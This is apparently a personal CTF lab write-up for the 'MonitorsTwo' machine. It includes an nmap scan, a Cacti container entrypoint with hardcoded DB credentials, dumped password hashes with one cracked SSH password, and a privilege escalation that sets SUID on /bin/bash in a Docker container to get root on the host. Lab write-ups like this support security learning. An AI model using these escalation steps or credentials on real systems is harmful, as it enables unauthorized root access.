Notes

MonitorsTwo -- Solved May 6, 2023

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

IP VIC:10.10.11.211
IP MINE:10.10.16.26

cactiVersion='1.2.22';
var cactiServerOS='unix';
var cactiAction='';
/.dockerenv


Maybe I can get root with this? │
file found: entrypoint.sh

EDIT: Yes I can :)

---------------------------------------------------------------------------------------------------------
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi

exec "$@"
-------------------------------------------------------------------------------------------------------
Dumped creds from DB:

username password
admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
guest 43e9a4ab75570f5b
marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C <-- SSH PASSWORD IN HASH (funkymonkey)

=========================================================================================================

Did a quick enumeration with "linpeas" on docker container as www-data
Internet access: No (Off-The-Land)
Sol: Make a simple http server from host computer and wget linpeas.sh from the reverse shell

weird binary: /bin/cacti (can't remember the exact name)

Found Directory Traversal on machine "marcus"
Path to "root" docker container:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged

From the docker container, set permission of /bin/bash to chmod u+s /bin/bash
this allows the binary to be executed by anyone because it now takes on privelleges of whoever owns it.

Drop shell access:

/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/bin/bash -i

YOU ARE NOW LOG AS "ROOT" :D

cat /root/root.txt


I FEEL THAT THIS BOX SHOULD HAVE BEEN LABELED "MEDIUM LEVEL" LOL.


~J30